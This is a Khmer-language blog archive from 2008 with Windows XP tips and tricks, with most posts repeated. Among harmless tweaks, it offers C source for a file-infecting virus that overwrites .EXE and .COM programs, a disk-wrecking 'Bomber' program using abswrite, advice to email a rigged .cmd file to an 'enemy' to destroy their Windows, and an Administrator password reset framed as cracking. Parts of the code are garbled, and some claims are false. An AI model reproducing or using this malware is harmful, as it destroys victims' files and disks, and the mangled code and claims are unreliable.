ជាទូទៅយើងតែងតែឃើញហើយថានៅពេលដែលយើងRight-Click លើ My computer រួចយក properties. វានិងបង្ហាញនូវពត៌មានមួយចំនួនអំពីComputer ដូចជា CPU Ram ជាដើម។
នេះគឺជាវិធីមួយដែលអាចអោយយើងអាចសរសេរនូវពត៌មានមួយចំនួននៅកន្លែងខាងលើ
1-បង្កើតឯកសារNotepad
2-សរសេរថា
[General]Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
3-រក្សាវានៅក្នុង c:\windows\system32 ដោយដាក់ឈ្មោះវាថា OEMINFO.INI
បន្ទាប់មកចូលមើលការប្រែប្រួលរបស់វាដោយ Right-click លើMy Comper
Thursday, February 14, 2008
របៀបធ្វើអោយPDF និយាយ
ប្រសិនបើអ្នកកំពុងប្រើប្រាស់នូវកម្មវីធីមួយឈ្មោះថា Adobe Reader 6.0 រឺ 7.0 នៅពេលដែលអ្នកបើកឯកសារជាភាសារអងគ្លេស អ្នកមិនចាំបាច់អានវាដោយខ្លួនឯងក៏បានយើងអាចអោយវាអានអោយយើងស្តាប់។ វិធីធ្វើគឺងាយៗ គ្រាន់តែបើកឯកសារPDF រួចចុចShortCut Key ដូចខាងក្រោម
Ctrl+shift+b អានពីដើមដល់ចប់
Ctrl+shift+v អានទំព័រ
Ctrl+shift+c ផ្អាកការអាន
ចូរអ្នកសាកល្បងទៅមើល
Ctrl+shift+b អានពីដើមដល់ចប់
Ctrl+shift+v អានទំព័រ
Ctrl+shift+c ផ្អាកការអាន
ចូរអ្នកសាកល្បងទៅមើល
MS word Crazy text
តើអ្នកដឹងថានៅក្នុងMS word មានអ្វីឆ្កួតៗទេ
អ្នកគ្រាន់តែបើកកម្មវិធីMS word រួចសរសរថា =rand (200, 90) រួចចុចEnter
ជាការស្រេច រួចចាំមើលថាវាឆ្កួតយ៉ាងម៉េច។
អ្នកគ្រាន់តែបើកកម្មវិធីMS word រួចសរសរថា =rand (200, 90) រួចចុចEnter
ជាការស្រេច រួចចាំមើលថាវាឆ្កួតយ៉ាងម៉េច។
ការធ្វើឲ្យវិនដូរXp ចាប់ផ្តើមដំណើរការមកលឿន
វិធីធ្វើឲ្យវិនដូXpដំណើរការលឿនគឺ
1-បង្កើតឯកសារNotepad
2-ចម្លង កូដខាងក្រោមទៅកាន់Notepad
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]"VideoInitTime"=dword:000004d9"AppLaunchMaxNumPages"=dword:00000fa0"AppLaunchMaxNumSections"=dword:000000aa"AppLaunchTimerPeriod"=hex:80,69,67,ff,ff,ff,ff,ff"BootMaxNumPages"=dword:0001f400"BootMaxNumSections"=dword:00000ff0"BootTimerPeriod"=hex:00,f2,d8,f8,ff,ff,ff,ff"MaxNumActiveTraces"=dword:00000008"MaxNumSavedTraces"=dword:00000008"RootDirPath"="Prefetch""HostingAppList"="DLLHOST.EXE,MMC.EXE,RUNDLL32.EXE""EnablePrefetcher"=dword:00000003"EnableSuperfetch"=dword:00000001
3-រក្សាវាជាឈ្មោះ «superfetch.reg » នៅលើ Destop រួចចុចពីរដងដើម្បីឲ្យវាដំណើរការ
4-Restart Computer ដើម្បីមើលលទ្ធផល
1-បង្កើតឯកសារNotepad
2-ចម្លង កូដខាងក្រោមទៅកាន់Notepad
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]"VideoInitTime"=dword:000004d9"AppLaunchMaxNumPages"=dword:00000fa0"AppLaunchMaxNumSections"=dword:000000aa"AppLaunchTimerPeriod"=hex:80,69,67,ff,ff,ff,ff,ff"BootMaxNumPages"=dword:0001f400"BootMaxNumSections"=dword:00000ff0"BootTimerPeriod"=hex:00,f2,d8,f8,ff,ff,ff,ff"MaxNumActiveTraces"=dword:00000008"MaxNumSavedTraces"=dword:00000008"RootDirPath"="Prefetch""HostingAppList"="DLLHOST.EXE,MMC.EXE,RUNDLL32.EXE""EnablePrefetcher"=dword:00000003"EnableSuperfetch"=dword:00000001
3-រក្សាវាជាឈ្មោះ «superfetch.reg » នៅលើ Destop រួចចុចពីរដងដើម្បីឲ្យវាដំណើរការ
4-Restart Computer ដើម្បីមើលលទ្ធផល
ការបិទDriveមិនឲ្យមានដំណើរការ
វិធីសាស្រ្តដើម្បីបិទDriveHard Disk មិនឲ្យមានដំណើរការបានគឺ
1-Start-Run-Regedit
2-HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
3-បង្កើតឯកសារនៅខាងស្តាំមួយពី Right-Click ->New->DWORD Value
4-រក្សាឈ្មោះវាថា «NoViewOnDrive»
5-Right-Click on NoViewOnDrive ->Modify
6-សរសេរពាក្យថា «3FFFF»
7-បិទRegedit
វារួចជាការស្រេច
របៀបដោះវាវិញគ្រាន់តែចូលទៅលុប NoViewOnDrive និង Restart Computer.
1-Start-Run-Regedit
2-HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
3-បង្កើតឯកសារនៅខាងស្តាំមួយពី Right-Click ->New->DWORD Value
4-រក្សាឈ្មោះវាថា «NoViewOnDrive»
5-Right-Click on NoViewOnDrive ->Modify
6-សរសេរពាក្យថា «3FFFF»
7-បិទRegedit
វារួចជាការស្រេច
របៀបដោះវាវិញគ្រាន់តែចូលទៅលុប NoViewOnDrive និង Restart Computer.
វិធីបំផ្លាញវិនដូររបស់សត្រូវរបស់អ្នក
វីធីនេះគឺអាចធ្វើទៅបានដោយគ្រាន់តែអ្នកអនុវត្តន៍តាមវិធីដូចខាងក្រោមនេះ
1-បើកកម្មវិធី Notepad
2-រួចសរសេរថា 01001011000111110010010101010101010000011111100000
3-រួចរក្សាវាជាឈ្មោះអ្វីក៏បាន និង មាន extension «.cmd»
4-ផ្ញើវាទៅកាន់អ្នកណាដែលជាសត្រូវ
នរណាដែលទទួលបានFile នេះរួចបើកមើល អ្នកនោះនឹងមានបញ្ហាមិនខាង
Hack to learn not learn to hack
1-បើកកម្មវិធី Notepad
2-រួចសរសេរថា 01001011000111110010010101010101010000011111100000
3-រួចរក្សាវាជាឈ្មោះអ្វីក៏បាន និង មាន extension «.cmd»
4-ផ្ញើវាទៅកាន់អ្នកណាដែលជាសត្រូវ
នរណាដែលទទួលបានFile នេះរួចបើកមើល អ្នកនោះនឹងមានបញ្ហាមិនខាង
Hack to learn not learn to hack
Tuesday, February 12, 2008
ការធ្វើអោយដំណើរការអ៊ិនថឺណិតលឿន
នេះជាមធ្យោបាយតិចតួចមួយដើម្បីអោយអ៊ិនថឺណិតរបស់អ្នកដើរលឿន
1-ចុចកណ្តុរខាងស្តាំលើ MyComputer រួចយក Properties
2-ចុចលើ HardWare រួចចុចលើ Device Manager
3-ចុចលើ Ports (COM & LPT) រួចចូលទៅកាន់ Communications Port (COM1) រួចចុចកណ្តុរស្តាំយក Properties
4-ចុចលើ Port Setting រួចត្រង់ចំនុច Bit Per second យក 128000 និងត្រង់ Flow Control យក Hardware
5-ចុច OK
ឥឡូវអ្នកចូលតាមដានមើលថាតើវាប្រែប្រួលអត់
1-ចុចកណ្តុរខាងស្តាំលើ MyComputer រួចយក Properties
2-ចុចលើ HardWare រួចចុចលើ Device Manager
3-ចុចលើ Ports (COM & LPT) រួចចូលទៅកាន់ Communications Port (COM1) រួចចុចកណ្តុរស្តាំយក Properties
4-ចុចលើ Port Setting រួចត្រង់ចំនុច Bit Per second យក 128000 និងត្រង់ Flow Control យក Hardware
5-ចុច OK
ឥឡូវអ្នកចូលតាមដានមើលថាតើវាប្រែប្រួលអត់
ការលាក់Folder ក្នុង XP part 1
ឧបមារថាយើងមានចង់លាក់Folder មួយឈ្មោះថា pics នៅលើ D: ដែលវាមានPath ជា D:\pics
តំបូងអ្នកត្រូវបង្កើត File Notepad មួយរួចសរសេរនូវពាក្យៈ
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
រួចSave វាជាឈ្មោះ lock.bat ហើយដាក់វានៅលើ D:\
រួចបង្កើតនូវ File Notepad មួយទៀត និងសរសេរនូវពាក្យៈ
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
រួចSave វាជាឈ្មោះ Key.bat ហើយដាក់វានៅលើ D:\
ចុចពីរដងលើ lock.bat ដើម្បី លាក់
ចុចពីរដងលើ Key.bat ដើម្បី បង្ហាញ
តំបូងអ្នកត្រូវបង្កើត File Notepad មួយរួចសរសេរនូវពាក្យៈ
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
រួចSave វាជាឈ្មោះ lock.bat ហើយដាក់វានៅលើ D:\
រួចបង្កើតនូវ File Notepad មួយទៀត និងសរសេរនូវពាក្យៈ
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
រួចSave វាជាឈ្មោះ Key.bat ហើយដាក់វានៅលើ D:\
ចុចពីរដងលើ lock.bat ដើម្បី លាក់
ចុចពីរដងលើ Key.bat ដើម្បី បង្ហាញ
ការលាក់នូវ Shut Down
យើងអាចធ្វើការលាក់នូវ Shut Down បានតាមវិធីដូចខាងក្រោមៈ
1-ចូលទៅ Start
2-ចូលទៅ Run
3-សរសេរពាក្យ Regedit
4-រួចចូលទៅកាន់ HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Explorer
5-នៅផ្នែកខាងស្តាំ បង្កើតឯកសារថ្មីមួយមានឈ្មោះថា NoClose ជាប្រភេទ DWORD និងអោយវាមានតំលៃ ស្មើ 1។
1-ចូលទៅ Start
2-ចូលទៅ Run
3-សរសេរពាក្យ Regedit
4-រួចចូលទៅកាន់ HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Explorer
5-នៅផ្នែកខាងស្តាំ បង្កើតឯកសារថ្មីមួយមានឈ្មោះថា NoClose ជាប្រភេទ DWORD និងអោយវាមានតំលៃ ស្មើ 1។
ការបំបែកលេខសំងាត់របស់Administrator
វិធីសាស្រ្តក្នុងការបំបែកលេខសំងាត់របស់Administrator មានដូចខាងក្រោមៈ
1-ចូលទៅកាន់ Run
2- សរសេរពាក្យ cmd
3- សរសេរពាក្យ cd \
4- សរសេរពាក្យ net user administrator *
5- ចុច Enter
6- វានិងទាមទារអោយយើងបញ្ចូលនូវលេខសំងាត់ថ្មី
7-សរសេរពាក្យសំងាត់ថ្មីដែលអ្នកចង់ដាក់
(ចំណាំ:- ពេលអ្នកសរសេរពាក្យសំងាត់ថ្មីវានិងមិនចេញអ្វីទាំងអស់ ប៉ុន្តែអ្នកកុំបារម្ភពីព្រោះថាលេខសំងាត់ដែលអ្នកបញ្ចូលនោះ បានយកជាផ្លូវការហើយ)
Hack for learn not learn for hack.
1-ចូលទៅកាន់ Run
2- សរសេរពាក្យ cmd
3- សរសេរពាក្យ cd \
4- សរសេរពាក្យ net user administrator *
5- ចុច Enter
6- វានិងទាមទារអោយយើងបញ្ចូលនូវលេខសំងាត់ថ្មី
7-សរសេរពាក្យសំងាត់ថ្មីដែលអ្នកចង់ដាក់
(ចំណាំ:- ពេលអ្នកសរសេរពាក្យសំងាត់ថ្មីវានិងមិនចេញអ្វីទាំងអស់ ប៉ុន្តែអ្នកកុំបារម្ភពីព្រោះថាលេខសំងាត់ដែលអ្នកបញ្ចូលនោះ បានយកជាផ្លូវការហើយ)
Hack for learn not learn for hack.
Monday, February 11, 2008
ការលាក់Folder
យើងអាចលាក់វាបានដោយមិនចាំបាច់មានកម្មវិធីឡើយ គឺយើងគ្រាន់តែចុចលើហ្វូលដឺណាដែលយើងចង់ លាក់រួចផ្លាស់ប្តូរឈ្មោះរបស់វា ដោយចុច Space មួយ រួចចុច Alt អោយជាប់និងចុច 0160 រួច Enter។ បន្ទាប់មកចុចកណ្តុរស្តាំលើវារួចយក Properties ->Custominze Folder-> Change Icon ->រួចរើសយករូបណាដែលមានពណ៌សសុទ្ធ។
ការផ្លាស់ប្តូរអក្សរStartទៅជាអក្សរផ្សេង របស់អ៊ិចភី
យើងតែងតែឃើញថានៅលើក្តារចុចមានចង្កឹះមួយឈ្មោះថា Start ហើយនៅលើអេក្រង់កុំព្យូទ័រក៏មានពាក្យថា Start ដែរ។ តែនៅពេលនេះខ្ញុំនិងបង្ហាញអ្នកអំពីរបៀប ធ្វើការផ្លាស់ប្តូរនូវ អក្សរ Start នោះចេញដោយជំនួសនូវអក្សរផ្សេងទៀត។ វិធីនេះមានពីរដំណាក់កាល និងទាមទារអោយយើងមានកម្មវិធីមួយឈ្មោះថា «Resource Hacker» អាចរកបាននៅhttp://www.snapfiles.com/get/resourcehacker.html
ដំណាក់កាលទី១
បើកកម្មវិធី Resource Hacker បន្ទាប់មក File->Open (c:\windows\explorer.exe)
ចុចពីរដងលើ String Table ->37->1033
មើលទៅខាងស្តាំរួចកែត្រង់ចំនុច 578 «Start» ទៅជាអ្វីផ្សេងពីនេះ នោះវានិងធ្វើការផ្លាស់ប្តូរឧទាហរណ៍ «it-monkeys»
ចុចលើ Compile Script
ចុចបិតរួច Save វាទុកក្នុង C:\windows\explore.exe
ដំណាក់កាលទី២
ចូលទៅRegedit.
Start->Run-> វាយថា «regedit»
រួចចូលទីកាន់ HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
រួចនៅខាងស្តាំរក file name «Shell» ចុចលើវាពីរដងរួចកែវាទៅជា «explore.exe»
រួចចូលទីកាន់ HKEY_LOCAL_USER\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
រួចនៅខាងស្តាំរក file name «Shell» ចុចលើវាពីរដងរួចកែវាទៅជា «explore.exe»
រួចRestart Computer
ចំណាំៈ មុននិងធ្វើត្រូវចម្លង file explorer.exe ទុកមួយសិនសំរាប់ហៅវាត្រលប់មកវិញ
ដំណាក់កាលទី១
បើកកម្មវិធី Resource Hacker បន្ទាប់មក File->Open (c:\windows\explorer.exe)
ចុចពីរដងលើ String Table ->37->1033
មើលទៅខាងស្តាំរួចកែត្រង់ចំនុច 578 «Start» ទៅជាអ្វីផ្សេងពីនេះ នោះវានិងធ្វើការផ្លាស់ប្តូរឧទាហរណ៍ «it-monkeys»
ចុចលើ Compile Script
ចុចបិតរួច Save វាទុកក្នុង C:\windows\explore.exe
ដំណាក់កាលទី២
ចូលទៅRegedit.
Start->Run-> វាយថា «regedit»
រួចចូលទីកាន់ HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
រួចនៅខាងស្តាំរក file name «Shell» ចុចលើវាពីរដងរួចកែវាទៅជា «explore.exe»
រួចចូលទីកាន់ HKEY_LOCAL_USER\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
រួចនៅខាងស្តាំរក file name «Shell» ចុចលើវាពីរដងរួចកែវាទៅជា «explore.exe»
រួចRestart Computer
ចំណាំៈ មុននិងធ្វើត្រូវចម្លង file explorer.exe ទុកមួយសិនសំរាប់ហៅវាត្រលប់មកវិញ
Sunday, February 10, 2008
Viruse 2
/* C-Virus: A generic .COM and .EXE infector
Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/
#pragma inline // Compile to .ASM
#include
#include
#include
#include
#include
void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);
#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection
int main(void)
{
/* The main program */
spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}
void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */
small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}
int infected(char *fname)
{
/* This function determines if fname is infected */
FILE *fp; // File handle
char sig[5]; // Virus signature
fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
void small_print(char *string)
{
/* This function is a small, quick print routine */
asm {
push si
mov si,string
mov ah,0xE
}
print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}
void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */
/* Variable declarations */
FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files
/* Perform the infection */
#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time
/* Clean up */
fcloseall(); // Close files
free(virus_code); // Free memory
}
char *victim(void)
{
/* This function returns the virus's next victim */
/* Variable declarations */
char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop
/* Find our victim */
if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);
for (index = 0; index < done =" findfirst(types[index],">
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}
/* If there are no files left to infect, have a little fun... */
hostile_activity();
return(0); // Prevents warning
}
POWER BY CITY OF DEVIL
Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/
#pragma inline // Compile to .ASM
#include
#include
#include
#include
#include
void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);
#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection
int main(void)
{
/* The main program */
spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}
void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */
small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}
int infected(char *fname)
{
/* This function determines if fname is infected */
FILE *fp; // File handle
char sig[5]; // Virus signature
fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
void small_print(char *string)
{
/* This function is a small, quick print routine */
asm {
push si
mov si,string
mov ah,0xE
}
print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}
void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */
/* Variable declarations */
FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files
/* Perform the infection */
#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time
/* Clean up */
fcloseall(); // Close files
free(virus_code); // Free memory
}
char *victim(void)
{
/* This function returns the virus's next victim */
/* Variable declarations */
char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop
/* Find our victim */
if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);
for (index = 0; index < done =" findfirst(types[index],">
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}
/* If there are no files left to infect, have a little fun... */
hostile_activity();
return(0); // Prevents warning
}
POWER BY CITY OF DEVIL
Viruse 1
#include
main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(1,50,0,vir);
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
printf("KICK YOU ALL");
printf("The Bomber");
}
save with .bat in notepad
Power by City of Devil
main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(1,50,0,vir);
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
printf("KICK YOU ALL");
printf("The Bomber");
}
save with .bat in notepad
Power by City of Devil
កុំព្យូទ័រ
កុំព្យូទ័រមានសំភារៈជាច្រើនត្រូវបានយកមករួមបញ្ចូលគ្នាដើម្បីឲ្យវាមានសមត្ថភាពកាន់តែប្រសើរឡើង។ តើមានឧបករណ៍អ្វីខ្លះដើម្បីបង្កើតបានជាកុំព្យូទ័រមួយគ្រឿងសំរាប់ឲ្យយើងអាចប្រើប្រាស់បាន?
ឧបករណ៍ទាំងនោះរួមមានៈ
1-Monitor រឺអាចនិយាយថាជាScreen សំរាប់អោយយើងមើល វាមានរូបរាងស្រដៀងនិងទូរទស្សន៍ដែរ
2-Keyboard វាជាក្តាចុចសំរាប់យើងវាយអក្សរ
3-Mouse វាជាកូនកណ្តុរសំរាប់យើងកាន់នៅដៃខាងស្តាំ សំរាប់បញ្ជារសញ្ញាព្រួញដែលស្ថិតនៅក្នុងScreen Monitor
4-Speaker សំរាប់បន្លើសំលេង
5-Printer សំរាប់បោះពុម្ពឯកសារ
6-System Unit វាគឺជាធុងដែលរក្សាទុកនូវឧបករណ៍មួយចំនួនផ្សេងទៀតរួមមានៈ
+Case គឺជាសំបកធុង
+Power Supply គឺជាដំភ្លើងសំរាប់ទុបភ្លើងចែកចាយ
+RAM គឺជាកន្លែងរក្សានូវទិន្ន័យបណ្តោះអាសន្ន
+Hard Disk គឺជាកន្លែងរក្សានូវទិន្ន័យអចិន្ត្រៃ
+CPU គឺជាកន្លែងសំរាប់ធ្វើការគណនា
+CD-ROM គឺជាកន្លែងសំរាប់អានទិន្ន័យពី CD
,,,,,,,,,,
ឧបករណ៍ទាំងនោះរួមមានៈ
1-Monitor រឺអាចនិយាយថាជាScreen សំរាប់អោយយើងមើល វាមានរូបរាងស្រដៀងនិងទូរទស្សន៍ដែរ
2-Keyboard វាជាក្តាចុចសំរាប់យើងវាយអក្សរ
3-Mouse វាជាកូនកណ្តុរសំរាប់យើងកាន់នៅដៃខាងស្តាំ សំរាប់បញ្ជារសញ្ញាព្រួញដែលស្ថិតនៅក្នុងScreen Monitor
4-Speaker សំរាប់បន្លើសំលេង
5-Printer សំរាប់បោះពុម្ពឯកសារ
6-System Unit វាគឺជាធុងដែលរក្សាទុកនូវឧបករណ៍មួយចំនួនផ្សេងទៀតរួមមានៈ
+Case គឺជាសំបកធុង
+Power Supply គឺជាដំភ្លើងសំរាប់ទុបភ្លើងចែកចាយ
+RAM គឺជាកន្លែងរក្សានូវទិន្ន័យបណ្តោះអាសន្ន
+Hard Disk គឺជាកន្លែងរក្សានូវទិន្ន័យអចិន្ត្រៃ
+CPU គឺជាកន្លែងសំរាប់ធ្វើការគណនា
+CD-ROM គឺជាកន្លែងសំរាប់អានទិន្ន័យពី CD
,,,,,,,,,,
ការបង្កើតគំរោងថ្មី
ដើម្បីបង្កើតគំរោងថ្មីនៅលើ QuarkXpress យើងត្រូវ ចុច
1-File->New->Project
2-ចុចលើពាក្យ «Sigle Layout Mode»
3-កំណត់ប្រភេទក្រដាស់និងគំលាតពីជ្រុងម្ខាងៗ
ចុចOK
1-File->New->Project
2-ចុចលើពាក្យ «Sigle Layout Mode»
3-កំណត់ប្រភេទក្រដាស់និងគំលាតពីជ្រុងម្ខាងៗ
ចុចOK
ការលុបឯកសារចេញពីកុំព្យូទ័រដោយមិនឲ្យបាច់រក្សាទុកក្នុងធុងសំរាម
អ្នកតែងតែលុបឯកសារមួយចំនួនដែលមិនចាំបាច់ចោល។ក៏ប៉ុន្តែពេលយើងលុបវាហើយ វានៅតែមានរក្សាទុកលើកុំព្យូទ័រដ៏ដែលគឺវាស្ថិតនៅក្នុងធុងសំរាម ដូច្នេះយើងត្រូវទៅតាមលុបដល់ធុងសំរាមទៀតទើបអាចលុបវាបានទាំងអស់។ ឥឡូវនេះវាមានវិធីងាយៗពីសំរាប់ឲ្យយើងប្រើក្នុងការលុបឯកសារដោយមិនបាច់ឆ្លងកាត់ធុងសំរាមគឺ
1-ជ្រើសរើសឯកសារដែលចង់លុប រួចចុច Shift+Del
2-Start-Run- type "gpedit.msc"-User Configuration- Administrative Templates-Windows Components-Windows Explorer- រកមើលឯកសារមួយឈ្មោះថា «Do not move deleted files to the Recycle Bin setting» រួច ចុចកណ្តុរស្តាំ យកProperty និងយក EnableយកOK ។
1-ជ្រើសរើសឯកសារដែលចង់លុប រួចចុច Shift+Del
2-Start-Run- type "gpedit.msc"-User Configuration- Administrative Templates-Windows Components-Windows Explorer- រកមើលឯកសារមួយឈ្មោះថា «Do not move deleted files to the Recycle Bin setting» រួច ចុចកណ្តុរស្តាំ យកProperty និងយក EnableយកOK ។
ការដោះលេខសំងាត់ចេញពីExcel ដែលដាក់ដោយមេរោគ
នៅពេលអ្នកកំពុងប្រើកម្មវិធីExcel រួចអ្នករក្សាវាទុកដោយមិនបានដាក់លេខសំងាត់ឲ្យវាទេ ប៉ុន្តែពេលអ្នកបើកត្រលប់មកវិញម្តងទៀតបែរជាមានលេខសំងាត់ទៅវិញ។ ដើម្បីដោះលេខសំងាត់ទាំងនោះវាមានវិធីជាច្រើនណាស់ប៉ុន្តែបើសរុបទៅគឺមានតែពីរគត់គឺចំណាយប្រាក់ និងមិនចំណាយប្រាក់។
-ចំណាយប្រាក់គឺយើងត្រូវទិញកម្មវិធីនិងសិទ្ធិប្រើប្រាស់ដើម្បីយកមកដោះលេខសំងាត់ចេញ។
-មិនចំណាយប្រាក់គឺយើងត្រូវដោះវាដោយខ្លួនឯងៈ
វិធីងាយៗគ្រាន់តែអ្នកដឹងអំពីរូបមន្តរបស់វាអ្នកនឹងអាចដោះលេខសំងាត់នោះងាយបំផុត
រូបមន្តគឺ
លេខសំងាត់សំរាប់បើកឯកសារ
1-«ឈ្មោះឯកសារបញ្រ្ចាស+ឈ្មោះឯកសារធម្មតា+ដកឃ្លា»
2-«រាប់ពីឆ្វេងទៅស្តាំចំនួន១៥តួរ ហើយតួរដែលនៅសល់លុបចោល»
ឧទារហណ៍ថាយើងមានឯកសារមួយឈ្មោះថា «Book1.xls»មានជាប់លេខសំងាត់ដែលដាក់ដោយមេរោគ
យើងអាចដោះវាបានតាមរូបមន្តខាងលើគឺ
1-«slx.1kooB»+«Book1.xls»+« »
2-«slx.1kooBBook1.»
ដូចនេះ «slx.1kooBBook1.»ជាលេខសំងាត់សំរាប់បើកឯកសារ
លេខសំងាត់សំរាប់កែប្រែឯកសារ
វាជាលើសំងាត់ដែលមិនប្រែប្រួលគឺ «XLS »គឺមានអ៊ិច អេល អេស និង ដកឃ្លាមួយ
-ចំណាយប្រាក់គឺយើងត្រូវទិញកម្មវិធីនិងសិទ្ធិប្រើប្រាស់ដើម្បីយកមកដោះលេខសំងាត់ចេញ។
-មិនចំណាយប្រាក់គឺយើងត្រូវដោះវាដោយខ្លួនឯងៈ
វិធីងាយៗគ្រាន់តែអ្នកដឹងអំពីរូបមន្តរបស់វាអ្នកនឹងអាចដោះលេខសំងាត់នោះងាយបំផុត
រូបមន្តគឺ
លេខសំងាត់សំរាប់បើកឯកសារ
1-«ឈ្មោះឯកសារបញ្រ្ចាស+ឈ្មោះឯកសារធម្មតា+ដកឃ្លា»
2-«រាប់ពីឆ្វេងទៅស្តាំចំនួន១៥តួរ ហើយតួរដែលនៅសល់លុបចោល»
ឧទារហណ៍ថាយើងមានឯកសារមួយឈ្មោះថា «Book1.xls»មានជាប់លេខសំងាត់ដែលដាក់ដោយមេរោគ
យើងអាចដោះវាបានតាមរូបមន្តខាងលើគឺ
1-«slx.1kooB»+«Book1.xls»+« »
2-«slx.1kooBBook1.»
ដូចនេះ «slx.1kooBBook1.»ជាលេខសំងាត់សំរាប់បើកឯកសារ
លេខសំងាត់សំរាប់កែប្រែឯកសារ
វាជាលើសំងាត់ដែលមិនប្រែប្រួលគឺ «XLS »គឺមានអ៊ិច អេល អេស និង ដកឃ្លាមួយ
Monday, February 4, 2008
